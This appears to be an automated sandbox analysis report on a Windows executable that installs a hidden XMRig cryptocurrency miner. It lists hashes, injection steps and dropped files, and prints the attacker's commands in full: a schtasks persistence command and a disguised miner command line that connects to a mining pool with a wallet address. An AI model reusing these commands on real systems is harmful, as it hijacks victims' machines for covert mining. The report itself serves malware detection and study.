Analysis
-
max time kernel
166s -
max time network
199s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
14-10-2021 05:08
Static task
static1
Behavioral task
behavioral1
Sample
342ef4f2941187bdc7f66d148be0ff75.exe
Resource
win7v20210408
General
-
Target
342ef4f2941187bdc7f66d148be0ff75.exe
-
Size
2.1MB
-
MD5
342ef4f2941187bdc7f66d148be0ff75
-
SHA1
7ff601a24c42ec01ef62c097927688a431c5aa76
-
SHA256
046976da5783b0425976084bc16ababee1094e98a1f0648fc10c91dcf49bc395
-
SHA512
84d9c5c7b83481e18efeecf8814bd050fd283dc1408a9a02fdc786ae2f8f08355ff87e24ab47a75e08291f0d75e8ae6747bb247e6a8859e8662d1999454605b2
Malware Config
Signatures
-
XMRig Miner Payload 12 IoCs
Processes:
resource yara_rule behavioral1/memory/1056-88-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-89-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-90-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-91-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-92-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-93-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-94-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-95-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-96-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-97-0x0000000140000000-0x0000000140763000-memory.dmp xmrig behavioral1/memory/1056-98-0x00000001402F327C-mapping.dmp xmrig behavioral1/memory/1056-100-0x0000000140000000-0x0000000140763000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
Processes:
cmd.exeflow pid process 4 1056 cmd.exe -
Executes dropped EXE 2 IoCs
Processes:
services64.exesihost64.exepid process 1068 services64.exe 1652 sihost64.exe -
Loads dropped DLL 4 IoCs
Processes:
cmd.execonhost.exepid process 684 cmd.exe 684 cmd.exe 748 conhost.exe 748 conhost.exe -
Drops file in System32 directory 3 IoCs
Processes:
conhost.execonhost.exedescription ioc process File created C:\Windows\system32\Microsoft\Libs\sihost64.exe conhost.exe File created C:\Windows\system32\Microsoft\Libs\WR64.sys conhost.exe File created C:\Windows\system32\services64.exe conhost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 748 set thread context of 1056 748 conhost.exe cmd.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 32 IoCs
Processes:
conhost.execonhost.execmd.exepid process 1128 conhost.exe 748 conhost.exe 748 conhost.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe 1056 cmd.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
conhost.execonhost.execmd.exedescription pid process Token: SeDebugPrivilege 1128 conhost.exe Token: SeDebugPrivilege 748 conhost.exe Token: SeLockMemoryPrivilege 1056 cmd.exe Token: SeLockMemoryPrivilege 1056 cmd.exe -
Suspicious use of WriteProcessMemory 43 IoCs
Processes:
342ef4f2941187bdc7f66d148be0ff75.execonhost.execmd.execmd.exeservices64.execonhost.exesihost64.exedescription pid process target process PID 1980 wrote to memory of 1128 1980 342ef4f2941187bdc7f66d148be0ff75.exe conhost.exe PID 1980 wrote to memory of 1128 1980 342ef4f2941187bdc7f66d148be0ff75.exe conhost.exe PID 1980 wrote to memory of 1128 1980 342ef4f2941187bdc7f66d148be0ff75.exe conhost.exe PID 1980 wrote to memory of 1128 1980 342ef4f2941187bdc7f66d148be0ff75.exe conhost.exe PID 1128 wrote to memory of 1520 1128 conhost.exe cmd.exe PID 1128 wrote to memory of 1520 1128 conhost.exe cmd.exe PID 1128 wrote to memory of 1520 1128 conhost.exe cmd.exe PID 1520 wrote to memory of 1612 1520 cmd.exe schtasks.exe PID 1520 wrote to memory of 1612 1520 cmd.exe schtasks.exe PID 1520 wrote to memory of 1612 1520 cmd.exe schtasks.exe PID 1128 wrote to memory of 684 1128 conhost.exe cmd.exe PID 1128 wrote to memory of 684 1128 conhost.exe cmd.exe PID 1128 wrote to memory of 684 1128 conhost.exe cmd.exe PID 684 wrote to memory of 1068 684 cmd.exe services64.exe PID 684 wrote to memory of 1068 684 cmd.exe services64.exe PID 684 wrote to memory of 1068 684 cmd.exe services64.exe PID 1068 wrote to memory of 748 1068 services64.exe conhost.exe PID 1068 wrote to memory of 748 1068 services64.exe conhost.exe PID 1068 wrote to memory of 748 1068 services64.exe conhost.exe PID 1068 wrote to memory of 748 1068 services64.exe conhost.exe PID 748 wrote to memory of 1652 748 conhost.exe sihost64.exe PID 748 wrote to memory of 1652 748 conhost.exe sihost64.exe PID 748 wrote to memory of 1652 748 conhost.exe sihost64.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 748 wrote to memory of 1056 748 conhost.exe cmd.exe PID 1652 wrote to memory of 1628 1652 sihost64.exe conhost.exe PID 1652 wrote to memory of 1628 1652 sihost64.exe conhost.exe PID 1652 wrote to memory of 1628 1652 sihost64.exe conhost.exe PID 1652 wrote to memory of 1628 1652 sihost64.exe conhost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\342ef4f2941187bdc7f66d148be0ff75.exe"C:\Users\Admin\AppData\Local\Temp\342ef4f2941187bdc7f66d148be0ff75.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\342ef4f2941187bdc7f66d148be0ff75.exe"2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Windows\system32\services64.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\services64.exeC:\Windows\system32\services64.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Windows\system32\services64.exe"5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\Microsoft\Libs\sihost64.exe"C:\Windows\system32\Microsoft\Libs\sihost64.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "/sihost64"7⤵
-
C:\Windows\System32\cmd.exeC:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:5555 --user=44z5DkTXSYBfYECbt5TdQ2SUpyAQJmmGubyUsWqzcByeKwxwsWSZabZQMuE39hedNcTL15eK8kHrAeZMUdGGmHQHBzNH5db --pass=bandit --cpu-max-threads-hint=10 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=2 --cinit-idle-cpu=90 --cinit-stealth6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\System32\Microsoft\Libs\sihost64.exeMD5
9eb9be816f6263b25bee3aa6038f58f9
SHA16c3ddf1e31c349515ea2bb7e417e888077bcdfec
SHA256eec088b4b6f93002acab11f86b13e8bea3f179bb3b7008150da623d23bd6ec0e
SHA512441d78848b8e1ecfa74bd37f512761d9fb43e2d46e88fb9f3791ec24a3fd3022176ba336e296f4d16f50340a3129db7ecb9770b3c7969365fa2e78ab370ea4ff
-
C:\Windows\System32\services64.exeMD5
342ef4f2941187bdc7f66d148be0ff75
SHA17ff601a24c42ec01ef62c097927688a431c5aa76
SHA256046976da5783b0425976084bc16ababee1094e98a1f0648fc10c91dcf49bc395
SHA51284d9c5c7b83481e18efeecf8814bd050fd283dc1408a9a02fdc786ae2f8f08355ff87e24ab47a75e08291f0d75e8ae6747bb247e6a8859e8662d1999454605b2
-
C:\Windows\system32\services64.exeMD5
342ef4f2941187bdc7f66d148be0ff75
SHA17ff601a24c42ec01ef62c097927688a431c5aa76
SHA256046976da5783b0425976084bc16ababee1094e98a1f0648fc10c91dcf49bc395
SHA51284d9c5c7b83481e18efeecf8814bd050fd283dc1408a9a02fdc786ae2f8f08355ff87e24ab47a75e08291f0d75e8ae6747bb247e6a8859e8662d1999454605b2
-
\Windows\System32\Microsoft\Libs\sihost64.exeMD5
9eb9be816f6263b25bee3aa6038f58f9
SHA16c3ddf1e31c349515ea2bb7e417e888077bcdfec
SHA256eec088b4b6f93002acab11f86b13e8bea3f179bb3b7008150da623d23bd6ec0e
SHA512441d78848b8e1ecfa74bd37f512761d9fb43e2d46e88fb9f3791ec24a3fd3022176ba336e296f4d16f50340a3129db7ecb9770b3c7969365fa2e78ab370ea4ff
-
\Windows\System32\Microsoft\Libs\sihost64.exeMD5
9eb9be816f6263b25bee3aa6038f58f9
SHA16c3ddf1e31c349515ea2bb7e417e888077bcdfec
SHA256eec088b4b6f93002acab11f86b13e8bea3f179bb3b7008150da623d23bd6ec0e
SHA512441d78848b8e1ecfa74bd37f512761d9fb43e2d46e88fb9f3791ec24a3fd3022176ba336e296f4d16f50340a3129db7ecb9770b3c7969365fa2e78ab370ea4ff
-
\Windows\System32\services64.exeMD5
342ef4f2941187bdc7f66d148be0ff75
SHA17ff601a24c42ec01ef62c097927688a431c5aa76
SHA256046976da5783b0425976084bc16ababee1094e98a1f0648fc10c91dcf49bc395
SHA51284d9c5c7b83481e18efeecf8814bd050fd283dc1408a9a02fdc786ae2f8f08355ff87e24ab47a75e08291f0d75e8ae6747bb247e6a8859e8662d1999454605b2
-
\Windows\System32\services64.exeMD5
342ef4f2941187bdc7f66d148be0ff75
SHA17ff601a24c42ec01ef62c097927688a431c5aa76
SHA256046976da5783b0425976084bc16ababee1094e98a1f0648fc10c91dcf49bc395
SHA51284d9c5c7b83481e18efeecf8814bd050fd283dc1408a9a02fdc786ae2f8f08355ff87e24ab47a75e08291f0d75e8ae6747bb247e6a8859e8662d1999454605b2
-
memory/684-69-0x0000000000000000-mapping.dmp
-
memory/748-84-0x000000001B1D7000-0x000000001B1D8000-memory.dmpFilesize
4KB
-
memory/748-83-0x000000001B1D6000-0x000000001B1D7000-memory.dmpFilesize
4KB
-
memory/748-81-0x000000001B1D2000-0x000000001B1D4000-memory.dmpFilesize
8KB
-
memory/748-82-0x000000001B1D4000-0x000000001B1D6000-memory.dmpFilesize
8KB
-
memory/1056-85-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-100-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-101-0x0000000000450000-0x0000000000470000-memory.dmpFilesize
128KB
-
memory/1056-102-0x0000000000470000-0x0000000000490000-memory.dmpFilesize
128KB
-
memory/1056-99-0x00000000002E0000-0x0000000000300000-memory.dmpFilesize
128KB
-
memory/1056-98-0x00000001402F327C-mapping.dmp
-
memory/1056-97-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-96-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-95-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-94-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-93-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-86-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-87-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-88-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-89-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-90-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-91-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1056-92-0x0000000140000000-0x0000000140763000-memory.dmpFilesize
7.4MB
-
memory/1068-73-0x0000000000000000-mapping.dmp
-
memory/1128-64-0x0000000002472000-0x0000000002474000-memory.dmpFilesize
8KB
-
memory/1128-63-0x0000000000210000-0x000000000041C000-memory.dmpFilesize
2.0MB
-
memory/1128-65-0x0000000002474000-0x0000000002476000-memory.dmpFilesize
8KB
-
memory/1128-66-0x0000000002476000-0x0000000002477000-memory.dmpFilesize
4KB
-
memory/1128-67-0x0000000002477000-0x0000000002478000-memory.dmpFilesize
4KB
-
memory/1128-60-0x000000001B330000-0x000000001B538000-memory.dmpFilesize
2.0MB
-
memory/1520-62-0x0000000000000000-mapping.dmp
-
memory/1612-68-0x0000000000000000-mapping.dmp
-
memory/1628-106-0x0000000000202000-0x0000000000204000-memory.dmpFilesize
8KB
-
memory/1628-103-0x0000000000280000-0x0000000000282000-memory.dmpFilesize
8KB
-
memory/1628-105-0x0000000000060000-0x0000000000066000-memory.dmpFilesize
24KB
-
memory/1628-107-0x0000000000204000-0x0000000000206000-memory.dmpFilesize
8KB
-
memory/1628-108-0x0000000000206000-0x0000000000207000-memory.dmpFilesize
4KB
-
memory/1628-109-0x0000000000207000-0x0000000000208000-memory.dmpFilesize
4KB
-
memory/1652-79-0x0000000000000000-mapping.dmp